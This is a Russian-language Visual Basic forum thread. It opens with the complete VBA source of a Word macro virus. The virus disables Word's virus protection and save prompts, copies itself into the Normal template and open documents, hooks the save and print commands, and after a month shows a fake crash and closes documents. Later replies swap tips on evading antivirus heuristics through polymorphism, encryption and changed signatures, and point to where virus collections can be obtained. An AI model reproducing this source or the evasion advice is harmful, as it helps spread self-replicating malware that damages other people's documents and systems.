Форум "Visual Basic"

Все о Бейсике

#0 deep © 07.04.03 17:54:58 - 26.07.07 12:37:21

Прикольно, исходник вируса на VB....

Недавно Касперский нашел такой вот вирус...
C:windowsPCSB.inf
-----------------------------------------------

Attribute VB_Name = "NEWVIR"
Sub NEWVIR()
On Error Resume Next
'' Поздравляю, если Вы здесь,
'' значит еще что-то можете,
'' так что дерзайте, Вас оценили ...
'' С уважением АВТОР
'' **************************************
''Отключение чего надо ...
Options.ConfirmConversions = Not (True)
Options.VirusProtection = Not (True)
Options.SaveNormalPrompt = Not (True)
''сохранение тела куда надо ...
ActiveDocument.VBProject.VBComponents(&quot;NEWVIR").Export "C:windowsPCSB.inf"
ActiveDocument.ReadOnlyRecommended = Not (True)
'' Если шаблон не инфицирован, запомнить дату заражения куда надо ...
If NormalTemplate.VBProject.VBComponents.Item("NEWVIR").Name <> "NEWVIR" Then
    Open "C:windowsDte.inf" For Output As#1
    Print#1, CDbl(Date)
    Close#1
End If
Call Pig
'' Оставление комментария куда надо
ActiveDocument.Comments.Add Range, "Работать надо в рабочее время. Барик !!!"
'' Проверка чего надо, дабы не помереть и размножиться
Dim ob1, ob2, sss As String
ob1 = NormalTemplate.VBProject.VBComponents.Item("NEWVIR").Name
ob2 = ActiveDocument.VBProject.VBComponents.Item("NEWVIR").Name
If ob1 <> "NEWVIR" Then var1 = True
If ob2 <> "NEWVIR" Then var2 = True
'' На этих строка я очень долго трахался с антивирусом
'' пока не добавил переменную для обмана
If var1 = True And var2 = False Then Set Var3 = NormalTemplate.VBProject.VBComponents
sss = "Пустышка"
If var1 = False And var2 = True Then Set Var3 = ActiveDocument.VBProject.VBComponents
sss = sss + " для антивируса"
If var2 = False Then If NormalTemplate.Saved = False Then NormalTemplate.Save
Var3.import "C:windowsPCSB.inf"
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
'' А вы говорите цацки-пецки
'' Ожидайте новый релиз !!!
'' Мы еще повоюем ...
End Sub

Public Sub Pig()
'' Чтение даты заражения откуда надо
Open "C:windowsDte.inf" For Input As#1
Input#1, KontrDate
Close#1
'' Если со времени заражения прошел месяц, активировать вирус
If Abs(CDbl(Date) - KontrDate) >= 30 Then
   If Time >= "18:00:00" Or Time >= "8:00:00" Then
     '' Работать надо в рабочее время !!!
     ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
     Call HelpAbout
   End If
End If

End Sub
Public Sub AutoOpen()
Call NEWVIR
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Программа выполнила недопустимую функцию, документ вызвавший збой системы будет закрыт. Если эта ошибка будет возникать в дальнейшем, обратитесь к разработчику.", vbCritical
ActiveDocument.Close
End Sub
Sub FileSave()
On Error Resume Next
Call NEWVIR
ActiveDocument.Save
End Sub
Sub FileSaveAs()
On Error Resume Next
Dialogs(wdDialogFileSaveAs).Show
Call NEWVIR
End Sub
Sub FilePrint()
Dialogs(wdDialogFilePrint).Show
Call NEWVIR
End Sub
Sub FilePrintDefault()
Call NEWVIR
End Sub
Sub ToolsMacro()
    On Error Resume Next
    Call NEWVIR
End Sub
Sub FileTemplates()
    On Error Resume Next
    Call NEWVIR
End Sub
Sub ViewVBCode()
    On Error Resume Next
    Call NEWVIR
End Sub

вот-так вот...
:smile71:

#1 VictorT © 07.04.03 18:24:09

Где-то видел коллекцию bat-вирусов.

#2 LaMik 06.06.03 18:25:45

НИЧЕГО НЕ ПОНИМАЮ

#3 deep © 06.06.03 20:12:09

а чего непонятно? ничего вредоносного не делает, так... коментарии разные пишет и размножается. Замаскирован под трояна -- см. название файла.

#4 Ru © 12.06.03 09:00:52

а я раньше думал что на вб можно коряво к функциям дельфишной длл обращаться

#5 Immitator © 12.06.03 10:15:37

хотю коллекцию нормальных вирусов

#6 deep © 12.06.03 10:44:54

> Immitator © 12.06.2003 11:15:00
> хотю коллекцию нормальных вирусов
В интернете этого добра валом, только все они уже Касперким нормально ловятся -- чтоб не поймали нужно оригинально смодифицировать тело вируса, изменить его сигнатуру

#7 Immitator © 12.06.03 11:39:06

а у тебя есть какие то наработки?

#8 deep © 12.06.03 12:35:31

когда Касперским дома сканю, больше тыщи в архивах находит

#9 Immitator © 12.06.03 12:40:50

хм а ты могеш какую то ссылку дать где вирусы мона скачать

#10 Ru © 12.06.03 13:19:16

www.viruslist.com - как написюкать вир

#11 deep © 12.06.03 15:01:54

> Immitator © 12.06.2003 13:40:00
> хм а ты могеш какую то ссылку дать где вирусы мона скачать
а потом меня материть не будешь?

Когда всю инфу на винте потеряешь?

#12 Immitator © 12.06.03 16:04:19

> deep © 12.06.03 16:01
нееееее я ведь не буду их тестировать на своей машине

#13 DarkMonk 10.02.04 18:25:08

Не, deep, менять сигнатуру вируса тоже не дело. вопервых момент этический -копирайт всетаки

во вторых все антивирусы сейчас оснаШены такой хренью - эвристический анализатор называется

посему надо писать чтонибудь полиморфное и по возможности шифрованое а если еще премутационных модулей насыпать то вообше будет круто!

какое то время

#14 DarkMonk 10.02.04 18:27:55

Immitator а не проше ли посидеть недельку и выучить ченибудь типа VBA и нахреначить чтонибудь свое точно не отлавливаемое дустом???

#15 Marser © 10.02.04 19:19:31

Эх, было времечко... И я творил червячков на VBS! Года три назад, когда только пришел на "мастера Delphi". Никому он, правда, не добавил "FORMAT C: |Y" в автоекзек, ну и слава Богу! Зато работал. Многие через стадию Никитушки проходят, выбирая светлую сторону силы. Вот я и решил, что нечего благородному рыцарю среди разбойников делать и принял антивиральные идеи "Мастаков".

#16 Deep © 10.02.04 20:14:03

> DarkMonk 10.02.2004 19:27:00
и выучить ченибудь типа VBA
VB для вирусописания не предназначен

Если уже учить с целью навредить, то учить Си и ему подобные языки.

#17 Cka3o4ka © 11.02.04 10:38:46

Вирус на основе искуственного интелекта :) Саообучается и саморазмножается %))

#18 Е-Моё имя © 11.02.04 10:42:34

>[16] Deep © 10.02.2004 21:14:03
>> DarkMonk 10.02.2004 19:27:00
>и выучить ченибудь типа VBA
>VB для вирусописания не предназначен Если уже учить с целью навредить, то учить Си и ему подобные языки.
си для вирусописания предназначен?

#19 Deep © 11.02.04 12:10:34

> Е-Моё имя © 11.02.2004 11:42:00
> си для вирусописания предназначен?
ага, его инструментарий более подходящ чем у VB

#20 Е-Моё имя © 11.02.04 12:12:54

чтобы пакость сделать, VB с WMI более чем достаточно

#21 Е-Моё имя © 11.02.04 12:13:58

оёёёёёй
VBS имел в виду
VB тоже избыточен

#22 VictorT © 11.02.04 20:45:44

ну, я когда-то видел коллекцию бат-вирусов :)

#23 Е-Моё имя © 12.02.04 08:19:06

>[22] VictorT © 11.02.2004 21:45:44
>ну, я когда-то видел коллекцию бат-вирусов :)

правду говорят - дурное дело нехитрое

#24 Nikolay © 12.02.04 08:33:24

вызвавший збой системы
не правильно :) надо писать сбой

#25 Е-Моё имя © 12.02.04 08:35:27

>надо писать сбой
сначала прочитал как "надо писать сВой"

думаю нифигасе советики

#26 Darkmonk 12.02.04 09:31:52

Ага! А у нас тут оказывается живые люди есть!! Уже ответы накатать успели. Deep, не спорь, все мы знаем не только си диез но и делфи. Когда в нашей дерёвне открыли первый интернет салун в клубе дембилей богословия (есть такой закрытый клуб) был конкурс тапа свалить все тачки нахрен. Писали на всем что только есть от турбо паскакала до дельфина. Победил вирь на VBS. Все друг мой зависит исключительно от фантазии и интелекта автора. Как говорится дурная голова и на TASMе ниче ни накатает, а у кого-то и дживибейсик сработает не хуже атомной бомбы в рамках отдельно взятого компа. А если честно то лучше ассемблера для виря нет

#27 Darkmonk 12.02.04 09:33:52

ЗЫ. А что дело нехитрое это точно, главный гиморой обмануть эвристики

#28 Nikolay © 12.02.04 13:59:55

нехитрое это точно, главный гиморой обмануть эвристики
и где же вы такие эврестики нашли, которые обмануть сложно?

#29 Deep © 12.02.04 18:08:09

> Nikolay © 12.02.2004 14:59:00
> и где же вы такие эврестики нашли, которые обмануть сложно?
Касперский, доктор Веб

#30 Nikolay © 12.02.04 18:28:19

Касперский, доктор Веб
неправда. если пписать код самому от начала до конца, то они его видят в очень редких случаях.

#31 Darkmonk 12.02.04 20:39:29

Ник, если не знаеш, эвристики ловят не код а вирусную логику. Попробуй накатать чтонибудь а потом говори

#32 Darkmonk 12.02.04 20:41:20

к томуже попробуй написать кусок кода который ни разу не использовался в других вирях

#33 Deep © 12.02.04 22:08:30

> Darkmonk
ага! антивирусные базы насчитывают десятки тысяч шаблонов такой логики, причем эти базы постоянно обновляются

#34 Nikolay © 13.02.04 08:20:03

Ник, если не знаеш, эвристики ловят не код а вирусную логику. Попробуй накатать чтонибудь а потом говори

Я знаю что они ловят. Но почитай офицальные отчеты независимых групп.

#35 DarkMonk 13.02.04 18:07:29

Ник, дай линк на "офицальные отчеты независимых групп"

Deep вот и я говорю гиморой

#36 DarkMonk 13.02.04 18:14:04

И дело то по сути даже не в базах, а в самом анализаторе чтоб его

#37 Immitator © 13.02.04 18:36:21

> DarkMonk 10.02.04 19:27:00
>
> Immitator а не проше ли посидеть недельку и выучить ченибудь
> типа VBA и нахреначить чтонибудь свое точно не отлавливаемое
> дустом???

Ну так это надо время иметь СВОБОДНОЕ

в этом то и вся загвоздка

#38 DarkMonk 14.02.04 13:24:42

> Ну так это надо время иметь СВОБОДНОЕ в этом то и вся
> загвоздка
Ну... Для святого дела ничего не жалко

#39 Immitator © 14.02.04 13:29:25

> Для святого дела ничего не жалко как сказать как сказать), если данный вопрос рассматривать с точки зрения полезной отдачи то все таки есть смысл заняться чем либо более полезным

#40 DarkMonk 14.02.04 13:37:45

это кому как. Лично мне мои деструкривные деяния мне и прибыль приносят

#41 Immitator © 14.02.04 13:40:44

> DarkMonk 14.02.04 14:37 вот видишь для тебя это ВЫГОДНО а для меня это просто интерес... у меня есть другое занятие которые мне прибыль приносит

#42 DarkMonk 15.02.04 17:18:08

Ну, блин... Это же не мой основной заработок... А вообще я юрист типа...

А компы это так - вроде хобби... Все как я уже говорил зависит от фантазии

#43 .................... 05.03.04 07:17:34

Отмодерировал:

#44 .................... 05.03.04 07:34:13

Отмодерировал:

#45 ДУРЕМАР 04.05.04 20:53:01

у меня есть до... этих вирусов кому нужны.

#46 X_man 25.02.05 12:26:19

Отмодерировал: Deep

#47 GPScriptC#)cHe5^finR 16.05.05 13:23:39

deep: флуд

#48 Vint © 26.12.05 20:49:31

Depp сможеш показать ссылку где можно достать вирусы или как с тобой свизаться? Мне очень они нужны!

#49 Marser © 26.12.05 23:20:30

>#48 Vint ©

На xakep.ru, hackzone.ru и подобных их полно. Ещё сайты антивирусов.
Когда-то на дисках типа "Хакер-2000" были крутые базы вирусняков.

#50 Deep © 27.12.05 09:58:06

>#48 Vint ©
тебе нужны исходники или уже готовые? Если исходники, то на чем написанные?

Сейчас 99,9% вирусов, которые можно найти в интернете ловятся антивирусами. Чтобы ими воспользоваться, нужно уметь грамотно их модифицировать.

#51 tanatos 11.01.06 20:08:25

где взять исходники вирусов на Delphi, paskal'e, html

#52 Deep © 12.01.06 13:42:01

>#51 tanatos
на делфи пишут обычно только трояны. Нормальные же вирусы пишут на асме.

ищем тут
+%E2%E8%F0%F3%F1%EE%E2+&stype=www

P.S. Я не отрицаю, чо можно написать вирус и на делфи. Но это - все равно что бульдозером картошку вскапывать...

#53 Котяра © 12.01.06 14:29:44

Да далек я от вирусописательства... %( а что за студия такая?
#11 deep © 12.06.03 17:01:54
Главное песочницу карашо организовать :))

#54 Antoxa 24.05.06 12:51:09

Помогите найти исходники вирусов на VB

#55 ~~ИМЯ~~ 07.06.06 03:33:15

Knight

: Неверная кодировка

отправлено с мобилки

#56 MidNight 22.01.07 12:13:26

мда....развели дебаты 8)

#57 Armani 11.07.07 11:16:14

Da zabyly avtory vira pro encrypt!!! I popalilis'!

#59 Matroskin © 26.07.07 12:37:21

Не проще ли написать на Басюке подобие вируса - для, того чтобы ни один антивирус его не просек. Мелкая прога будет вредить например простым забиванием оперативы, т.к. в Басюке под работу проги место не отделяется. Там просто куча..

Написать ответ